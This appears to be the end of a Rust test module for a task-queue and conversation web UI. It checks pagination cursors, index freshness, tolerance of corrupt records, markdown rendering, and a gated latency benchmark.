24187 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24188 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24189 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24190 let (tasks, talks, _watches) =
24191 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24192 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24193 }
24194
24195 #[test]
24196 fn list_cursors_freeze_membership_and_expire_explicitly() {
24197 let home = tempfile::tempdir().unwrap();
24198 let ui = delta_test_ui(home.path());
24199 std::fs::create_dir_all(ui.queue.root()).unwrap();
24200 for i in 0..40 {
24201 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24202 }
24203 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24204 assert_eq!(first.len(), STORE_PAGE_SIZE);
24205 let cursor = cursor.unwrap();
24206 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24207 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24208 let (second, _) = page_ids(
24209 &ui,
24210 false,
24211 PageQuery {
24212 before: Some(cursor.clone()),
24213 },
24214 )
24215 .unwrap();
24216 assert_eq!(second[0], "record-0023");
24217 assert!(second.iter().all(|id| !first.contains(id)));
24218 assert!(
24219 page_ids(
24220 &ui,
24221 true,
24222 PageQuery {
24223 before: Some(cursor.clone())
24224 }
24225 )
24226 .is_err()
24227 );
24228 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24229 assert_eq!(fresh[0], "record-9999");
24230 ui.monitor.list_walks.lock().unwrap().clear();
24231 assert!(
24232 page_ids(
24233 &ui,
24234 false,
24235 PageQuery {
24236 before: Some(cursor)
24237 }
24238 )
24239 .is_err()
24240 );
24241 }
24242
24243 #[tokio::test]
24244 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24245 let home = tempfile::tempdir().unwrap();
24246 let ui = delta_test_ui(home.path());
24247 let mut task = Task::new(
24248 "task".into(),
24249 "body".into(),
24250 PathBuf::from("/repo"),
24251 Source::Human,
24252 );
24253 ui.queue.put(&mut task).unwrap();
24254 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24255 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24256 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24257 let expected = parsed + usize::from(!cfg!(unix));
24258 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24259 task.status = crate::queue::TaskStatus::Held;
24260 ui.queue.put(&mut task).unwrap();
24261 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24262 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24263 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24264 ui.queue.put(&mut task).unwrap();
24265 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24266 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24267 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24268 }
24269
24270 #[tokio::test]
24271 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24272 let home = tempfile::tempdir().unwrap();
24273 let ui = delta_test_ui(home.path());
24274 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24275 let before = health(State(ui.clone())).await.unwrap().0;
24276 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24277 let after = health(State(ui)).await.unwrap().0;
24278 assert_ne!(before.notifications_rev, after.notifications_rev);
24279 assert_eq!(after.notifications_unread, 1);
24280 }
24281
24282 #[tokio::test]
24283 async fn list_pages_bound_history_and_keep_dependency_evidence() {
24284 let home = tempfile::tempdir().unwrap();
24285 let ui = delta_test_ui(home.path());
24286 let queue = &ui.queue;
24287 let talks = &ui.talks;
24288 for i in 0..1000 {
24289 let id = format!("20261019-{i:06}-page");
24290 let mut task = Task::new(
24291 "task".into(),
24292 "instruction".repeat(100),
24293 PathBuf::from("/repo/magi"),
24294 Source::Human,
24295 );
24296 task.id = id.clone();
24297 if i == 0 {
24298 task.status = crate::queue::TaskStatus::Held;
24299 } else if i == 999 {
24300 task.status = crate::queue::TaskStatus::Blocked;
24301 task.blocked_by = vec!["20261019-000000-page".into()];
24302 }
24303 queue.put(&mut task).unwrap();
24304 seed_talk_at(talks, &id, "open");
24305 }
24306 let page = serde_json::to_value(
24307 queue_page(State(ui.clone()), Query(PageQuery::default()))
24308 .await
24309 .unwrap()
24310 .0,
24311 )
24312 .unwrap();
24313 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24314 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24315 assert!(
24316 !page["rows"][0]["stuck_roots"]
24317 .as_array()
24318 .unwrap()
24319 .is_empty()
24320 );
24321 let cursor = page["next"].as_str().unwrap();
24322 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24323 .as_str()
24324 .unwrap();
24325 std::fs::remove_file(queue.path_of(last_id)).unwrap();
24327 let next = serde_json::to_value(
24328 queue_page(
24329 State(ui.clone()),
24330 Query(PageQuery {
24331 before: Some(cursor.into()),
24332 }),
24333 )
24334 .await
24335 .unwrap()
24336 .0,
24337 )
24338 .unwrap();
24339 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24340 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24341 let chats = serde_json::to_value(
24342 talks_page(State(ui.clone()), Query(PageQuery::default()))
24343 .await
24344 .unwrap()
24345 .0,
24346 )
24347 .unwrap();
24348 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24349 assert!(chats["rows"][0].get("pending").is_none());
24350 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24351 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24352 assert_eq!(counts["held"], 1);
24353 assert_eq!(counts["blocked"], 1);
24354 assert_eq!(counts["queued"], 997);
24355 }
24356
24357 #[test]
24358 fn queue_index_observes_external_replacement_deletion_and_corruption() {
24359 let dir = tempfile::tempdir().unwrap();
24360 let ui = delta_test_ui(dir.path());
24361 let mut task = Task::new(
24362 "task".into(),
24363 "body".into(),
24364 PathBuf::from("/repo"),
24365 Source::Human,
24366 );
24367 task.runs = vec!["run-a".into()];
24368 ui.queue.put(&mut task).unwrap();
24369 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24370 task.runs = vec!["run-b".into()];
24371 let path = ui.queue.path_of(&task.id);
24372 let modified = path.metadata().unwrap().modified().unwrap();
24373 let replacement = path.with_extension("replacement");
24374 let bytes = serde_json::to_vec_pretty(&task).unwrap();
24375 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24376 std::fs::write(&replacement, &bytes).unwrap();
24377 std::fs::File::options()
24378 .write(true)
24379 .open(&replacement)
24380 .unwrap()
24381 .set_times(std::fs::FileTimes::new().set_modified(modified))
24382 .unwrap();
24383 std::fs::rename(&replacement, &path).unwrap();
24384 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24385 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24386 std::fs::write(&path, "broken").unwrap();
24387 assert!(ui.find_task_for_run("run-b").is_err());
24388 std::fs::write(&path, bytes).unwrap();
24389 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24390 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24391 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24392 }
24393
24394 #[tokio::test]
24395 async fn conversation_core_is_independent_of_unreadable_related_history() {
24396 let home = tempfile::tempdir().unwrap();
24397 let ui = delta_test_ui(home.path());
24398 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24399 std::fs::create_dir_all(ui.queue.root()).unwrap();
24400 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24401 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24402 .await
24403 .unwrap();
24404 assert_eq!(core.talk.id, id);
24405 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24406 }
24407
24408 #[tokio::test]
24409 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24410 let home = tempfile::tempdir().unwrap();
24411 let ui = delta_test_ui(home.path());
24412 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24413 let mut task = Task::new(
24414 "Referenced task".into(),
24415 "Unrelated instruction history".repeat(1024),
24416 home.path().into(),
24417 Source::Human,
24418 );
24419 task.id = "20261019-000000-abcd".into();
24420 ui.queue.put(&mut task).unwrap();
24421 let mut conversation = ui.talks.get(&id).unwrap();
24422 conversation.turns.push(talk::Turn {
24423 sender: Some(talk::Sender::Persona),
24424 who: talk::Who::Agent,
24425 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24426 at: conversation.created_at,
24427 attachments: Vec::new(),
24428 usage: None,
24429 breaks: None,
24430 messages: Vec::new(),
24431 posted_by: None,
24432 });
24433 ui.talks.put(&mut conversation).unwrap();
24434
24435 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24436 let markdown = serde_json::to_value(&core.turn_bodies_md)
24437 .unwrap()
24438 .to_string();
24439 assert!(markdown.contains("\"strong\""));
24440 assert!(markdown.contains("\"table\""));
24441 assert!(markdown.contains("\"bullet_list\""));
24442 assert!(markdown.contains("\"code_block\""));
24443 assert!(!markdown.contains("\"internal_link\""));
24444 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24445 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24446 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24447
24448 let references = ui.references.for_talk(home.path(), &conversation);
24451 let mut decorated = core.turn_bodies_md[0].clone();
24452 references.markdown(&mut decorated);
24453 let decorated = serde_json::to_value(decorated).unwrap().to_string();
24454 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24455 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24456 assert_eq!(
24457 ui.talks.get(&conversation.id).unwrap().turns[0].body,
24458 conversation.turns[0].body
24459 );
24460 }
24461
24462 #[tokio::test]
24463 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24464 let home = tempfile::tempdir().unwrap();
24465 let ui = delta_test_ui(home.path());
24466 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24467 let mut run = RunState::new(
24468 PathBuf::from("/repo"),
24469 "main".into(),
24470 "01234567".into(),
24471 "Useful run".into(),
24472 Config::default(),
24473 );
24474 run.save_under(home.path()).unwrap();
24475 let mut task = Task::new(
24476 "Related".into(),
24477 "body".into(),
24478 PathBuf::from("/repo"),
24479 Source::Agent {
24480 run: talk_id.clone(),
24481 node: "chat".into(),
24482 },
24483 );
24484 task.runs = vec![run.id.clone()];
24485 ui.queue.put(&mut task).unwrap();
24486 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24487 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24488 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24489 assert!(
24490 run_detail(State(ui.clone()), Path(run.id.clone()))
24491 .await
24492 .is_ok()
24493 );
24494 assert!(
24495 talk_sections(State(ui.clone()), Path(talk_id.clone()))
24496 .await
24497 .is_ok()
24498 );
24499 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24501 assert!(ui.find_task_for_run(&run.id).is_err());
24502 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24503 ui.queue.put(&mut task).unwrap();
24504 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24505 }
24506
24507 #[tokio::test]
24508 async fn conversation_sections_omit_large_task_instructions() {
24509 let home = tempfile::tempdir().unwrap();
24510 let ui = delta_test_ui(home.path());
24511 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24512 let mut task = Task::new(
24513 "filed task".into(),
24514 "large instruction ".repeat(65536),
24515 PathBuf::from("/repo"),
24516 Source::Agent {
24517 run: id.clone(),
24518 node: "chat".into(),
24519 },
24520 );
24521 ui.queue.put(&mut task).unwrap();
24522 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24523 assert_eq!(sections["tasks"][0]["id"], task.id);
24524 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24525 assert!(sections["tasks"][0].get("instruction").is_none());
24526 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
24527 }
24528
24529 #[test]
24530 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24531 let home = tempfile::tempdir().unwrap();
24532 let talks = Talks::at(home.path().join("talks"));
24533 seed_talk_at(&talks, "20261019-000001-abcd", "open");
24534 seed_talk_at(&talks, "20261019-000002-abcd", "open");
24535 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24536 assert!(resolve_talk(&talks, "../outside").is_err());
24537 assert!(resolve_talk(&talks, "abcd").is_err());
24538 assert_eq!(
24539 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24540 "20261019-000001-abcd"
24541 );
24542 }
24543
24544 include!(concat!(
24545 env!("CARGO_MANIFEST_DIR"),
24546 "/tests/web_latency/baseline.rs"
24547 ));
24548
24549 include!(concat!(
24550 env!("CARGO_MANIFEST_DIR"),
24551 "/tests/web_latency/lists.rs"
24552 ));
24553
24554 #[tokio::test]
24555 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24556 async fn web_history_latency_measurement() {
24557 use std::time::Instant;
24558 let home = tempfile::tempdir().unwrap();
24559 let ui = delta_test_ui(home.path());
24560 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24561 let mut template = ui.talks.get(&id).unwrap();
24562 template.turns = serde_json::from_value(serde_json::json!([{
24563 "who": "operator", "body": "Show the accumulated work and its current status.",
24564 "at": Timestamp::now().to_string(),
24565 }]))
24566 .unwrap();
24567 std::fs::write(
24568 ui.talks.path_of(&id),
24569 serde_json::to_vec(&template).unwrap(),
24570 )
24571 .unwrap();
24572 let count = std::env::var("MAGI_BENCH_RECORDS")
24573 .ok()
24574 .and_then(|s| s.parse::<usize>().ok())
24575 .unwrap_or(1000);
24576 for i in 0..count {
24577 template.id = format!("20261019-{i:06}-history");
24578 template.pending = "history ".repeat(2048);
24579 std::fs::write(
24580 ui.talks.path_of(&template.id),
24581 serde_json::to_vec(&template).unwrap(),
24582 )
24583 .unwrap();
24584 let mut task = Task::new(
24585 "old task".into(),
24586 "instruction ".repeat(2048),
24587 PathBuf::from("/repo"),
24588 Source::Human,
24589 );
24590 task.id = format!("20261019-{i:06}-task");
24591 ui.queue.put(&mut task).unwrap();
24592 }
24593 for baseline in [true, false] {
24594 for clients in [1, 4] {
24595 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24596 let mut samples = Vec::new();
24597 for _ in 0..12 {
24598 let mut jobs = Vec::new();
24599 for _ in 0..clients {
24600 let ui = ui.clone();
24601 let id = id.clone();
24602 jobs.push(tokio::spawn(async move {
24603 let start = Instant::now();
24604 if baseline {
24605 let response =
24606 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24607 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24608 return (
24609 elapsed,
24610 elapsed,
24611 serde_json::to_vec(&response).unwrap().len(),
24612 );
24613 }
24614 let core = talk_core(State(ui.clone()), Path(id.clone()));
24615 let secondary = talk_sections(State(ui), Path(id));
24616 let (first, total) = tokio::join!(
24617 async {
24618 let value = core.await.unwrap().0;
24619 (
24620 start.elapsed().as_secs_f64() * 1000.0,
24621 serde_json::to_vec(&value).unwrap().len(),
24622 )
24623 },
24624 async {
24625 let value = secondary.await.unwrap().0;
24626 (
24627 start.elapsed().as_secs_f64() * 1000.0,
24628 serde_json::to_vec(&value).unwrap().len(),
24629 )
24630 }
24631 );
24632 (first.0, first.0.max(total.0), first.1 + total.1)
24633 }));
24634 }
24635 for job in jobs {
24636 samples.push(job.await.unwrap());
24637 }
24638 }
24639 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24640 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24641 first.sort_by(f64::total_cmp);
24642 total.sort_by(f64::total_cmp);
24643 let n = first.len();
24644 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24645 println!(
24646 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24647 first[n / 2],
24648 first[(n * 95 / 100).min(n - 1)],
24649 total[n / 2],
24650 total[(n * 95 / 100).min(n - 1)],
24651 samples[0].2
24652 );
24653 }
24654 }
24655 }
24656
24657 #[test]
24658 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24659 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24661 assert!(APP_JS.contains("function nextRunRequest(id)"));
24662 assert!(APP_JS.contains("function runShell(id, summary)"));
24663 assert!(APP_JS.contains("function nextTaskRequest(id)"));
24664 assert!(APP_JS.contains("function taskShell(id, summary)"));
24665 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24666 }
24667}